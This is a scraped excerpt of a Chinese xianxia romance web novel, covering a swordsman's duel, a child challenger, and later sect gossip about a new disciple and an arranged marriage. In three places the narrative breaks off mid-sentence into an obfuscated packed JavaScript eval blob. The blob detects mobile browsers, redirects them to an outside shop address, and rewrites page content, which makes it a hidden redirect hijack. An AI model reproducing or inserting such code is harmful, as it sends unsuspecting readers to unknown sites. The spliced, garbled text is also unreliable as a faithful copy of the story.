《花孔雀的心尖牛》 1. 半仙 千万年前,曾有一介修士,痴慕天上神君,日日焚香叩拜,夜夜祷祝星河。 最终,这份执念惊动九霄之上的神明,得到了垂怜。 神明降世,两人相恋相守,诞下了世间第一位半人半神的婴孩。 传说这婴儿容貌肖似父神,眉间天生一点金痣,灿若碎星。 神君见之大喜,以此为印记。 自此以后,所有带着神君血脉的孩子,额间皆会凝出一粒金痣,成为他们与生俱来的标识。 凡人称他们为“半仙”。 半仙与凡人的不同,除却额间一点金痣,更含自降生便随身的一份仙缘。 仙缘,乃是父神所传的一门仙法,或强横无匹,或微弱难察,全凭血脉深浅而定。 岁月流转,千百年倏忽而过。 半仙族群日渐壮大,可血脉代代稀释,体内残存的仙力也愈发微薄。与之相伴的仙缘,亦随之衰弱——到了后来,有些半仙的仙缘,竟只是比寻常凡半仙多活几十年的寿数。 族群壮大,分歧亦生。 半仙瞧不起血脉低贱的凡人,凡人看不上自持高贵的半仙。 仙凡对立、矛盾愈演愈烈的时刻,天盟和地宗应运而生,成了划分阵营的标杆。 二者各执一方,千百年间,矛盾日渐激化,杀伐纷争从未停歇。 直到两百年前,血月邪教彻底掀起仙凡对立战火,而同时青云剑庄横空出世,以超然之姿,成了调和仙凡矛盾的关键,硬生生压下了这场席卷天下的战争。 …… “谢长泽,谢长泽你出来!” 祁云耀背着柄几乎比人还高的重剑,在林间疾穿。 开什么玩笑! 开什么玩笑! 初冬的罡风卷着寒意呼啸,把小孩的脸颊刮得通红,他却浑然不觉。 风砂迷眼,泪花在眼眶里打转,他也顾不上擦,满心满眼只有一个念头——找到谢长泽,那个竟敢打败他大哥的半仙! 祁云耀的大哥乃是地宗西门的祁余天,是江湖上出了名的武痴。 一月前,他向青云剑庄首徒谢长泽递下战帖,约战于西门城郊演武场。 虽说千万年流转,半仙血脉稀释,仙力微薄,但谢长泽也并非泛泛之辈。 他是世间公认的青云剑庄下一任掌门,日后要接替师尊谢青扛起调和天盟地宗矛盾大任的天骄! 但祁余天亦不是宵小,凭一柄“浑天”重剑出世以来未尝一败。 话是这么说,对于这场天骄对决大多数人还是认为大抵祁余天的胜算更大些。 因为祁余天乃是地宗千百年来难得一见的绝世天骄,未满二十便突破五阶修为,“浑天”剑气沉猛无匹;反观谢长泽,虽以君子剑“兰泽”的美名远扬,为人温驯有礼、调和纷争颇有章法,但江湖上却鲜有关于他剑术造诣的传说,甚至有传言谢长泽压根不善剑术。 是以不论是半仙还是凡人大多认定,两人此战是三七开的局面,君子剑占三,浑天剑占七。 不少人甚至提前数日便赶往西门,想亲眼见证这场天骄对决。 出人意料的,等这群看热闹的修士浩浩荡荡赶到比武地时,比试竟早已结束。 只见演武场中央,赫然陷着一个丈许深的大坑,浑天剑倒在一边,祁余天仰面躺在坑底,浑身尘土,衣袍破损,却半点不见败北的颓丧,反倒张着嘴,大咧咧地“咯吱咯吱”狂笑,笑声里满是酣畅与兴奋,像是打赢的是他自己而非君子剑。 而那位赢了比试的谢长泽,却早已没了踪影,不知何时已然离去。 人群外围,祁云耀的眼眶“唰”地一下就红了。 他没等众人从这场仓促结束的对决中反应过来,便悄悄往后退了几步,趁着人群混乱,转身溜出了围观的圈子,脚步匆匆地朝着谢长泽离去的方向追了上去。 大哥怎么会输? 定是这坏半仙用了下作手段! 不然……不然大哥绝不会输! 绝对不会! “谢长泽,你出来与我比试!我不服!我不服你!” 小孩气喘吁吁,喉咙漫上一股铁锈味,胸腔像是要被吸入的冷气冻结,小腿酸胀无比。 此刻小胖团的体力早就几乎透支完了,只凭借着一腔热血指引着往前跑。 从西门往青云剑庄只此一条山路,看守城门的护卫说谢长泽出门不久,按理来说应该是快追上了才对。 果不其然,在抄近道穿出一丛灌木后,祁云耀看见了山坡上的一高一矮的两道身影。 眯眼细瞧,见是一个带着纱笠的灰袍道人牵着匹小白马正缓步走着。 他顿时来了精神,一边快速向那人追去一边咧着嘴大着嗓门喊:“谢长泽!谢长泽!谢长——呜啊!” 冲得太急,脚底又是酸软无力的,冷不防被石子一绊,整个向前一扑,然后整个人就咕噜噜地往山下滚。 “唔啊啊啊——” 翻滚中天旋地转,他恍惚看见那个身影静默一瞬,然后默不作声的。 悄悄地。 悄悄地将他心爱的小马往身侧牵了牵,给他腾开条畅通无阻的路。 不等祁云耀思考清楚“那人究竟是怕自己撞着他的小马”还是“害怕他的小马挡住自己于是善意的让出一条通畅大道”,便呜嗷呜嗷大叫着往山下滚去,直到“砰”一声连人带剑撞上棵横叉在路中间的树干,才堪堪停住一直要滚到山坡底下的趋势。 “哎哟……” 他哀嚎着挣扎爬起来。 多亏今天穿的厚,滚这么多圈竟然只是暴露在外的脸和手被堪堪擦破点皮,身后被重剑磕碰几下有些酸麻,除此之外并无大碍。 他狼狈的从地上爬起来,堪堪站稳,便怒目瞪向立在山坡上的那道高挑身影。 那人见祁云耀看过来,伸出只手缓缓摘下了头上的纱笠,露出一张精致优雅的面容,眉心缀着一颗米粒大小的金色小痣,眼眸似明月疏离淡漠,薄唇微抿着。打量着不远处那涨红了脸的小孩,眼眸中透露出疑惑不解。 两人就这么静静的盯着对方,青年上下打量着祁云耀,祁云耀却是被那张有些惊艳的脸晃了晃神。等他察觉到青年那不加掩饰的目光又顺着青年目光看到了浑身上下脏兮兮的自己,不由得生出些羞赧,掩饰似的怒喝出声: “你看什么看!” “嗯……”那人立马顺从的移开视线,抬头开始看起了蓝天白云,又转头看向自己的小马,总之如他所愿,掩饰般的将头扭来扭去就是不再看他。 “呜啊啊啊!”祁云耀更生气了,像是炸毛的猫,雄赳赳气昂昂大步走过去,十分蛮狠地吼叫:“你为什么不敢看我!是心虚吗!” “唔?” 青年又如他所愿的把目光移向这个朝着自己走来的小男孩,沉吟思索半天,最终缓缓的带着试探性的问:“你是来碰瓷的?” “胡扯什么!”祁云耀感觉被羞辱,扯着嗓子大吼道,“我是来下战书的!” 灰衣青年上下将他又看了一遍,眼中困惑更甚。 祁云耀本就被他“嘲讽”的目光看的心里冒火,干脆也瞪视回去,看谁先不好意思。 待他仔仔细细看过青年,才恍然发现,这人竟佩着双剑! 谢长泽原来是佩双剑的吗? 右侧那把剑通体雪白,剑柄上雕刻着水波云纹,末尾还点缀了一个红色流苏坠子,流苏坠看上去有些旧了,但却仍旧被悉心挂在剑身上,乍一看有些不伦不类。 而他左侧佩的则是一把通体漆黑玄亮的剑,剑鞘相较于左剑略短几寸,剑柄上同样雕刻了花纹,但他不认识那是什么东西,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢长泽右手下意识拔向左侧玄剑,却在触及剑柄的瞬间手腕调转方向,连着剑鞘一起,拔出了右侧那柄雪白长剑。 祁云耀堪堪能看清青年的动作,然而还不等他做出反应,那柄雪白剑鞘便击中了他的腰侧。 连背后重剑都没来得及拔,那熟悉的天旋地转感便再次袭来。 一阵心慌过后,视野里的一切都在旋转,方才撞上的那棵树竟越来越大,越来越近,仿佛要贴上脸来—— 祁云耀猛地回过神: 不对! 哪是树在靠近,是他被打飞出去了! 可惜察觉得太晚。 祁云耀想稳住身形,背后的重剑却带着惯性,像只无形巨手,将他狠狠按向大树。 骨头碎裂的脆响清晰入耳,血腥味瞬间漫上舌尖。 他疼得浑身痉挛,喉咙里像是被什么堵住,只来得及闷哼一声,便“砰”地重重滚落到地上。 耳朵里一阵嗡鸣,周遭的声响尽数褪去,只剩下心脏疯狂“咚咚咚”跳动的声音,又沉又响,像是要撞碎胸腔。 视野开始被深红占据,那张俊逸的脸在眼前扑朔迷离,时而模糊成一片虚影,时而又清晰得能看清他蹙起的眉以及充满了疑惑的眼睛。 耳膜胀痛,心脏狂跳不止。 不知为何,祁云耀的目光却死死黏在谢长泽身上,移不开半分。 他生气了?祁云耀想。 千万别回西门告状啊,不然他会被打死的。 祁云耀整个脑子昏昏沉沉的,即便浑身骨头像是被拆了重组,即便意识正在飞速抽离,这张脸,却牢牢刻进了他最后的清明里。 昏迷前的最后一瞬,他似乎听见了一道崩溃的尖叫: “重楼!你在做什么啊啊啊!” 2. 传言 十五年后。 青云剑庄近来双喜临门。 头一桩喜事,便是青云剑庄掌门谢长泽终要履行婚约,与天盟凌云阁阁主之女尹无霜正式成婚。 不日前,青云剑庄遣人往凌云阁提亲,据当日有幸得见提亲车队的修士所言,那日剑庄几乎倾门出动,随行的天材地宝浩浩荡荡排了十几里地,连记载礼单的卷轴,都是专门唤了灵兽拉车驮运,把排场做到极致,给尽了凌云阁颜面。 先前凌云阁阁主本来还对这桩婚事不满,但见着这么多宝贝,加上谢长泽那谦卑恭顺的样子,直接捋直了他那小胡子,喜气洋洋的将青云剑庄众人迎进了阁中,好生招待,商量婚期。 第二桩喜事便是谢长泽要收徒了。 十年前,谢长泽对外宣称要为恩师谢青守孝,自此带着青云剑庄避世封山,不再参与天盟地宗的纷争。 而封山究竟是为何大家伙心里都门清,他哪里是守孝,分明是过不了自己那一关,困在过往里走不出来了。 试想,谁能在经历最疼爱的师弟杀了最敬重的师尊,自己又亲手将师弟就地正法后,还能若无其事地执掌宗门,笑对世事? 便是素来稳健儒雅、处事周全的谢长泽,也终究被悲剧击垮,设身处地的想一想,似乎谁都走不出来。 而让谢长泽终于卸下枷锁、重整旗鼓,决意正式继任谢青之位,重拾调和天盟与地宗矛盾重任的,竟是一个不知从何处冒出来的小年轻。 这少年也是个奇人,没人知晓他的来历根脚,更无人明白他究竟有何能耐,竟能在与谢长泽相伴不过半月的时光里,悄然化开对方心中积压十年的阴霾,还让谢长泽动了收徒之心,决意将他纳入门下,倾囊相授。 是以不论是天盟地宗还是逍遥散修都想见一见这位奇人。 待青云剑庄正式放出邀请函,诚邀各方势力前来观礼拜师大典后,青云山下更是早早便热闹起来。 山下酒楼茶肆人客爆满,挤满了前来参会的修士,人人都翘首以盼,只等大典当日登山,亲眼一睹那位神秘弟子的真容。 因为青云剑庄宗门规模不大,准备的客舍只能堪堪住下天盟地宗六派的来客。 所以那些慕名而来、人数众多的逍遥散修,便只能暂居在青云山下。 好在剑庄早有安排,提前给山下所有酒楼、旅店打过了招呼——凡是近期前来投宿的修士与凡人,一律分文不取,不仅食宿全免,就连酒水茶点、消遣乐子也尽数由青云剑庄包揽。 消息传开,山下修士无不赞叹。 有人端着茶盏笑道:“谢掌门果然配得上‘君子剑’的美名,事事都想得这般周到妥帖,连我们这些散修都能沾光。” 也有修士感慨,先前只听说谢长泽调和纷争有术,如今见他待人接物的气度,才知其名不虚传,这般体恤后辈、善待众人的胸襟,可不就是将他两位师尊学了个十成十,若是以后正式挑大任的时候,说不准其作为回超越谢青的地位。 “要我说啊,这谢长泽和谢青也是识人不清,怎么就收了那样个白眼狼呢?”一名修士端着空酒碗,拍着桌子感慨。 吃饱喝足后修士们开始围在一起侃侃而谈,散修们没那些大家族的条条框框,想说什么说什么,是以这位修士话音刚落便得到了大部分修士的回应。 “是啊是啊!怎么就看上那……那谁来着?”另一位修士拍着脑门,冥思苦想半天,也没想起那欺师灭祖的名字。 “谢重楼,是叫谢重楼!”邻桌有人高声提醒。 “对对对,就是谢重楼!”那人恍然大悟,连连点头,“真是遗憾哟,一颗老鼠屎,硬生生搅混了青云剑庄的美名。” “可不是嘛!那谢青掌门,当年可是修真界数一数二的风流大美人,多少人还等着看她最后挑谁做道侣,结果……结果竟落得那般下场,唉——” 这话一出,话题瞬间歪了方向,尽数绕到了谢青身上。 谁都知道,谢青一生红颜蓝颜知己无数,天盟地宗里排得上号的人物,几乎都和她传过或多或少的桃色绯闻,这般热闹的谈资,散修们自然不肯放过。 “其实我一直觉得,谢青掌门最后会选天盟玉虚仙宗掌门风幕卿。别的不说,谢长泽可是他们两人共同带大的徒弟,这跟有个孩子也差不离了,而且风掌门的品貌、身份,也都配得上她。”有修士一本正经地分析。 “得啦得啦,你胡扯些什么!”立马有人不耐地打断,语气带着不屑,“几百年了,你还没看出来风幕卿就是个伪君子?仗着和谢长泽那层师徒关系,青云剑庄封山十年,就只许他一人进山祭拜谢青,这里头指不定藏着什么猫腻!” “怎么?人家能进,你看不到,就嫉妒了?”说话修士人不服气地反驳,当即和对方争执起来。 “说什么呢!我是那种人?” “好啦好啦,都别吵了!”眼看两人就要动气,一旁有人出来打圆场,“要我说,地宗药王谷的灵枢谷主也很有可能啊!除了没和谢青共同抚养徒弟,论才情、论心意,他哪里比风幕卿差了?” “他是凡人!光这一点就输了!”立马有人提出异议,“谢青可是半仙,凡人寿命何其短暂,怎么能陪半仙相守一生?” “你这话就有歧义了!”反驳者据理力争,“凡人修为突破五阶,便能拥有和半仙相当的寿命,灵枢谷主早就突破五阶多年,怎么就不配了?” “我就觉得是风掌门!” “我站灵谷主!” 争执声越来越大,茶肆里顿时乱作一团。 “哎哟,各位都别吵啦,听我说一嘴,听听我说的!” 就在这时,一个眯着眼、笑容狡黠的修士站起身,食指抵着唇做了个噤声的动作,声音不大,却带着莫名的吸引力,成功让众人安静下来。 他眉飞色舞地凑近,压低声音道:“我可是听我太爷爷说,谢青掌门心里,藏着一位记挂了多年的红颜知己呢!这些年她迟迟没将道侣定下,就是觉得对不起那位红颜才一直拖着!” 这话瞬间勾起了所有人的好奇心,有人连忙追问:“道友这话说得新奇!可谢青的红颜知己数不胜数,你说的是哪一位?” 那眯眯眼修士故作沉吟,故意吊足了众人胃口,过了好一会儿,才慢悠悠地开口,声音压得更低:“据说是地宗西门家的一位——” “哟呵,怎么还有我家的事!” 眯眼修士的话半截卡在喉咙里,便被一道脆亮爽朗的女声陡然打断。 酒肆里的喧闹瞬间静了一瞬,众人齐齐回头望去,只见说话的是邻桌一个穿红黑劲装的少女,衣摆利落束紧,头上梳着两束麻花辫,发尾随动作轻轻晃着,瞧着鲜活又利落。 两柄玄铁重剑立在桌边,少女从背对众人缓缓转过身,露出一张带着几分桀骜的脸,剑眉星目,眼尾微挑,乍一看和她身侧那名高大壮硕的汉子有几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177141|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相似,但细瞧又觉得不太像。 她随性地一脚弯曲踩在长板凳上,一脚稳稳落地,手搭在膝头,龇出一口白牙,笑容敞亮得很:“小眼镜,你方才嚼舌根,说的是我家哪位祖宗啊?” 一众散修顿时面面相觑显然都通过重剑认出了这二位的身份。 而方才那眯眼的修士讪讪地笑了两声,忙从随身包袱里摸出一副琉璃镜戴上,镜片一覆,他总算不用再眯着眼视物,睁出一双圆溜溜的大眼睛,挠着后脑勺陪笑:“灵昭妹妹别较真嘛,就是听说,听说的啦!道听途说的事儿,本就有真有假,当不得真的。” “那你怎么不说是你天机阁的红颜,偏要来攀扯我西门家?”祁灵昭半点不饶人,眉峰一挑,语气带着凌厉。 “哎哟姑奶奶嘞,这可冤枉我了!”肖严谨苦着脸辩解,“天机阁哪来的闲心出红颜啊?咱们阁里女人当男人使,男人当畜牲使,大家伙儿成天被那些机关傀儡磨得晕头转向,没被齿轮转轴折磨死都算万幸了,哪里还有机会攀上谢青掌门红颜知己的名头?” 祁灵昭冷哼一声,别过头去,懒得再跟他掰扯。 一旁的祁余天却被他这番话逗得轰然大笑,嗓门大得震得地面都跟着微微发晃。 肖严谨身轻如燕,脚尖点着一众散修的桌沿便跃了过来,径直坐到西门兄妹的桌子旁,圆溜溜的眼睛滴溜溜转,满是藏不住的八卦心,张口就问:“我二弟呢?” “你二弟在哪问你爹妈去,问我做甚?”祁灵昭没好气地翻了个白眼。 “嗨呀,我说的是我云耀弟弟!”肖严谨连忙摆手,眼睛亮闪闪的,那模样哪里是关心,分明是揣着满满的探究,“云耀弟弟病了得有快十年了吧?什么病这么严重,拖了这么久?你们有没有请药王谷的神医去看过?实在不行,我们天机阁最近新出了款飞舟,稳得很,能载着病人远行寻医!不要一百万,只要九九八,九百九十八块灵石就能带回家!二位——意下如何?” 祁余天闻言,脑子还没转过弯,大手一拍就要点头同意,胳膊肘却猝不及防被祁灵昭狠狠拐了一下,疼得他立马闭了嘴,憨憨地摸着胳膊眨眨眼。 “九九八都敢随便答应,你花了这钱,回头爹妈把你打成一坨粑粑!”祁灵昭稍稍凑近,压低声音咬牙切齿地训了一句,转头又立马挂上一脸标准的礼貌微笑,对着肖严谨摆手拒绝,“不必麻烦了,二哥若哪天真病死了,我家还能少个人和我争家产呢!哈哈。” “这样啊。”肖严谨讪讪地收起推销的心思,话锋一转,又打起了感情牌,搓着手笑道,“哎哟,说起来都十年没见了,我都快忘记云耀弟弟长什么模样了。不如这次拜师大典结束,我携着飞舟去西门拜访,就当是给我这十年未见的兄弟送份见面礼,如何?” “恐怕不行呢。”祁灵昭依旧拒绝,语气淡淡,“二哥的病有极强的传染性,你若是见了他被传染,那多不好。” “哎——此言差矣!”肖严谨半点不放弃,拍着胸脯道,“我对云耀弟弟的真心,那可是坚如磐石,韧如蒲苇!” “传染必死。” 祁灵昭只轻飘飘丢出四个字。 “但话又说回来了,咱们修道之人,要捏碎磐石,折断蒲苇,还不是轻而易举的事嘛!哈哈哈——”肖严谨干笑两声,试图打个哈哈蒙混过去。 祁灵昭但笑不语,只对着他露出个明晃晃的鄙夷神色。肖严谨见状,只得挠着头持续讪笑。 3. 徒弟 这边两人拌嘴拌得热闹,祁余天却坐得浑身不自在。 茶肆的桌椅本是为寻常人打造,他长得身强体壮,往那两人坐的板凳上一坐,几乎占了大半位置,胳膊腿都伸不开。 先前小妹说走累了想喝水,他便陪着进来了,结果喝完茶水,小妹就和天机阁的小眼镜吵上了。 祁余天插不进话,坐在一边,叼着茶杯魂游天外。 直到他眼尖的在楼下街道人群接踵里看见道熟悉的倩影。 祁余天立即伸手戳了戳仍在斗嘴的两人,试探性地问道: “你们看那是不是尹无霜?” 祁灵昭闻言立马停了嘴,顺着大哥手指的方向探头望去。 只见楼下人群中,一道修长倩影亭亭玉立,身姿清雅,腰侧别着凌云阁独有的双剑,侧脸恬静温柔,轮廓分明就是尹无霜。 “无霜姐姐!” 祁灵昭一声欢呼,也顾不上再搭理肖严谨和祁余天,反手撑着桌沿翻窗跃出,身形利落如箭,几息间便闪到那道身影面前,伸手就将人紧紧抱住,语气雀跃,“我想死你啦!” 凑近了才发觉不对劲,祁灵昭松开手,终于看清尹无霜因皱眉而扭曲的金色小痣,泛红的眼眶和脸颊未干的泪痕,心头一紧,尹无霜怎么是一人在此,跟她一起来的凌云阁其他弟子呢? 凌云阁才同青云剑庄结亲,而剑庄开山收徒的大事,距离最近的凌云阁理应早早前来帮忙。 凌云阁派尹无霜作为代表前来观礼是没有任何差错的,但掌门未婚妻一人在山下闲逛而不去山上帮忙本身就是一件很奇怪的事。 据她所知,尹无霜可是对谢长泽一见倾心,当初说亲也是她求着父母通过风幕卿搭线才联系上了谢青,决定撮合两个孩子。 如今——怎么会丢下谢长泽孤生一个人在山下徘徊? 还是一副哭过的模样! “你、你怎么了?是不是受委屈了?”祁灵昭皱紧眉头,乌黑的眼珠慌乱地在尹无霜脸上扫视,满是担忧。 尹无霜吸了吸鼻子,抬手拭了拭眼角,强扯出一抹浅笑,声音带着几分不易察觉的沙哑:“我没事,就是在山上待着有些无聊,便出来散散心。” 说话的功夫,祁余天背着两把沉甸甸的重剑,迈着大步赶了过来;肖严谨则挎着他那鼓鼓囊囊、装满机关零件的布袋,亦步亦趋地跟在后面,凑了过来。 瞥见尹无霜强颜欢笑的模样,肖严谨摸着下巴,若有所思地嘟囔:“莫非那些传言,是真的?” “什么传言?”祁灵昭立马转头看他,语气里满是急切。 “我听说啊,谢掌门要和无霜姐成婚,根本不是真心的,是为了收徒才顺势履行婚约。”肖严谨压低声音,飞快解释道。 “不是的,长泽不是这样的,他只是——”尹无霜急忙开口辩解,话音刚落,就被祁灵昭打断。 “你把话说清楚!”祁灵昭语气带着怒意,转头瞪着肖严谨。 肖严谨看看泪眼汪汪、满心委屈的尹无霜,又瞧瞧火冒三丈、眼神能杀人的祁灵昭,心头一慌,下意识地往后缩了缩,偷偷躲到了身形高大的祁余天身后,只探出个脑袋,小声找补:“先说明啊,我就是道听途说,不一定准的。” 见祁灵昭眼神更凶,他硬着头皮继续说:“我听说长泽掌门压根就没想过要和无霜姐履行婚约,他只是想要给他那新欢一个名分才决定重开山门伴收徒典礼的——” “你别瞪我啊!我说的不一定是假的!提亲车队去往凌云阁的时候我也看见了,提亲队伍里压根就没有谢长泽好嘛!不信你问无霜姐嘛!瞪我干什么!而且我有一个朋友尾随车队进了凌云阁——” “你别瞪我啦!都说了是我朋友,朋友,不是我!他进去后发现谢长泽真的没露过面,都是剑庄那个老管家长老在同阁主商议结亲事宜。要谢长泽真的去了凌云阁,不然这婚事怎么会,怎么会要再拖一年呢?肯定是老阁主不满意啊……” 说到最后,肖严谨的声音越来越小,几乎细若蚊蚋,顶着祁灵昭那要吃人般的目光,还是咬着牙把话说完,说完就往祁余天身后又缩了缩,大气都不敢出。 “真的是这样吗!”祁灵昭猛地转头看向尹无霜,语气里满是不敢置信。 尹无霜慌忙摆手,唇瓣动了动想为谢长泽辩解,可脑海里闪过心上人近日来的种种疏离,那些到了嘴边的话,终究哽在喉咙里,一句也说不出来。 她垂着眸,指尖无意识地捏紧了裙摆。 “所以就是那新来的小弟子,给你气受了?”祁灵昭瞬间红眼,语气凶神恶煞,眉峰竖得老高,那模样恨不得立刻冲上山去,把那没见过面的徒弟活剥了皮。 尹无霜眼神慌乱游移,既不承认,也不否认,那副模样反倒更坐实了传言。 “哼!”祁灵昭怒极,转头一把夺过祁余天背上那把属于自己的“曦辉”剑,剑鞘撞在地面发出清脆的响,她脚下一点,身影便朝着青云山的方向直冲而去,看那架势,竟是要提剑上山,砍了那对师徒。 “灵昭!别冲动!” 尹无霜反应最快,旋身提步,立刻追了上去,生怕她真的闹出事来。 祁余天愣了一瞬,也立马攥紧背上的重剑要跟上去,手腕却被人猛地拉住了袖口。 “等等我啊!祁大哥。” 肖严谨凑上来,脸上挂着狡黠的嘿嘿笑,圆溜溜的眼睛里重新燃起熊熊的八卦之魂,“捎我一程呗?若你日后来天机阁买东西,我只收你八成的钱,怎么样?” …… 青云剑庄主峰,弟子寝室外的回廊上,十几名弟子捧着锦盒、托着法器,各个愁眉苦脸得像是要上刑场。 米长老站在最前头,一张苦瓜脸皱得能拧出汁,头顶本就稀疏的头发,这几个月被里头那位祖宗磋磨得只剩寥寥几根,拢在一起还没人小指粗。 他偷瞄了眼身后弟子们哀求的眼神,清了清嗓子,颤巍巍抬起手。 手掌还没碰到那门板,“刷啦”一声响,木门就被人从里头大力掀开,带起的风卷得老头衣袖都飘了起来。 他先是一喜,以为这位终于肯通融了,下一秒就眼前一黑。一件骚包到极致的大红色道袍劈头盖脸甩过来,严严实实兜住了他的脑袋。 “我不要这个颜色!桃色!桃色没见过吗!桃红色啊!桃红色才称我!你们拿这个红色来糊弄我做什么!” 老头被道袍兜着头,脚下一个趔趄往后倒去,幸亏身后两个眼疾手快的小弟子赶紧扶住,才没摔个四脚朝天。 门口转而占了个十分高大的男人。 男人披着一件十分亮眼的粉色外袍,没束发,乌黑的长发随意耷拉在肩头,发梢还带着点没打理好的翘毛,可架不住那张脸生得好,即使气得脸扭曲,眉眼间的英气也半点没减,十分俊俏。 他才不管倒在地上捂着心口哎哟哎哟叫嚷的米长老,大步流星刮到那几个端器物的弟子面前,指尖“笃笃笃”地挨个敲过他们手里的东西,眉间的戾气越积越重。 “这都是什么啊!”徒弟叫嚷着,“我不喜欢银色,别拿银器,我要金色的!金色懂不懂!金色才亮!” 小弟子们被他吼得缩着脖子,跟一群受惊的鹌鹑似的,大气都不敢出。 “金器,金器都送去凌云阁了……”有弟子怯怯开口,立即被一记眼刀吓得低下头去。 徒弟扫了一圈,没见着一件合心意的,猛地一甩袖子,长发都气得根根倒竖,瞪着眼睛就要发作。 余光冷不丁瞥见回廊尽头走来的一道身影,那满肚子的火气像是被冰水浇灭,瞬间换了副模样。连忙一撩头发,夹着个嗓子,迈着小内八就扭扭捏捏跑了过去。 “师尊~” 被他换做师尊的男人脸上挂着的微笑僵了一瞬。 带着一种“只能眼睁睁看着这么一大坨向自己跑过来,而自己却不能躲”的视死如归。 他站定到谢长泽面前时比他师尊还高半个头,却跟只大狗似的,一胳膊圈住谢长泽的手臂,脑袋下勾,往人肩头一靠,声音甜腻腻的: “师尊你怎么过来啦!哎哟,人家还没束发呢,乱糟糟的,好害羞呀~哦呵呵呵——” 说罢低下头去,用脸颊蹭了蹭谢长泽的肩头,他明显察觉到手中人紧绷的肌肉却装作是一副全然不知的样子,发出“咯咯咯”的自以为是娇笑实际上十分瘆人笑声,连拖带拽地把人拉到那群内务弟子面前。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177142|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >瘪着嘴将自己心中的不满一一说了,最后郑重其事的指着刚从地上爬起来的米长老手里的那件红色道袍。 “师尊你看啊!”徒弟尖声道,尾音像是要劈叉,“我腰有这么粗吗!这袍子做得跟个面口袋似的,颜色也土,弄得我像个乡下来的土狗!嗨呀我不喜欢,不喜欢嘛——” 他一边叫嚷一边扭,手里还死死拽着谢长泽的外袍,外袍有那么几瞬都要被拽下来却又被谢长泽眼疾手快死死拽住。 谢长泽疲惫的看了看撅着嘴扭动的徒弟又看了看欲哭无泪憔悴无比的米长老,最终无奈的叹了口气,下令道:“长老,都依云儿吧,按照他喜欢的改。” “可——”米长老还想为自己争取一下,争取保住自己脑袋上的几根毛却又被大嗓门打断。 “哎呀还有一事!”徒弟像是突然想起什么,猛地站直身体,手里拽着的胳膊也顺势往上一扯。谢长泽只觉腋下一紧,衣袍似乎已经变形到极致,再使力变会崩线,只好微微踮起脚尖,顺着他的力道往上提了提。 “人家今天好像办坏事啦!”徒弟撅着嘴,故作羞赧地眨了眨眼,语气刻意得很,“人家今天好像惹无霜姐姐生气啦,无霜姐姐也真是的,人家只是同她说了几句话,她就甩脸子给人家看,还直接跑到山下去了。嗨呀师尊,若是以后无霜姐姐嫁过来,会不会要求师尊把徒儿逐出师门啊!人家好害怕的,你要不干脆别娶无霜姐姐了,人家真的怕怕。” “你放心,无霜不是度量小的人,”谢长泽温声安抚,想顺着他的话劝上几句,“到时候你同她好好道个歉,她一定会……” “我同她道歉?”徒弟顿时不乐意了,猛地松开手。谢长泽终于能平稳落下脚后跟,还没站稳,双肩便被一双大手狠狠扣住,迎面对上一双怒目圆睁的眼睛,语气满是戾气,“凭什么我要给她道歉?” “你——”谢长泽皱了皱眉,本想再说些什么安抚的话,话到嘴边,却又被一道带着怒意的女声硬生生打断。 “你凭什么不给无霜姐姐道歉!” 祁灵昭本就怒火攻心,尹无霜拉着她的胳膊、祁余天在旁好言劝阻,却压根拦不住她的脚步。 怒气冲冲地冲破青云剑庄山门,随手抓了个打杂弟子问清那徒弟的住处后,便提着“曦辉”,杀气腾腾地直冲主峰,周身的戾气几乎要溢出来。 还没靠近弟子寝室的回廊,就听见里头那骄纵的声音和谢长泽的温言安抚,尤其是那句“凭什么我要给她道歉”,更是像一把干柴投进烈火,让她瞬间炸了毛。也顾不上什么宗门礼节、场合分寸,当即爆喝出声。 一时间,回廊上所有人的目光都齐刷刷投向了声音来源处—— 祁灵昭提着剑,立在回廊入口,俏脸涨红,怒目圆睁,周身的气息冷得吓人。 与此同时,祁灵昭也看清了寝室门口那片混乱的景象,目光直直锁在那个披着粉色外袍的高大背影上。 只见那道粉色身影动作一顿,缓缓、缓缓地转过了头。 四目相对的刹那,两人皆是僵在原地,满脸错愕。 祁灵昭瞪圆了眼睛,嘴巴微微张着,原本到了嘴边的呵斥硬生生卡在喉咙里,一个字也说不出来——眼前这张脸,哪怕披着眼花缭乱的粉袍,哪怕姿态骄纵令人厌恶,她也绝不会认错。 身后的祁余天见状,下意识想开口说些什么,脚掌却突然被祁灵昭狠狠踩了一下,疼得他倒抽一口冷气,惊叫出声又急忙憋住,险些咬到自己的舌头,只能捂着脚原地打转,满脸痛苦又不敢作声。 尹无霜跟在后面,泪眼婆娑的目光落在谢长泽和那粉色身影勾肩搭背的亲昵姿态上,心头一酸。 肖严谨则是趁着众人僵持的间隙,偷偷从机关袋里摸出一块留影石,指尖飞快掐诀启动,将留影石藏在袖中,对着眼前的场景悄摸录像,圆溜溜的眼睛里满是兴奋的八卦光芒,连大气都不敢喘,生怕惊扰了这场好戏。 整个回廊瞬间陷入死寂,连风吹过发丝的声音都清晰可闻。 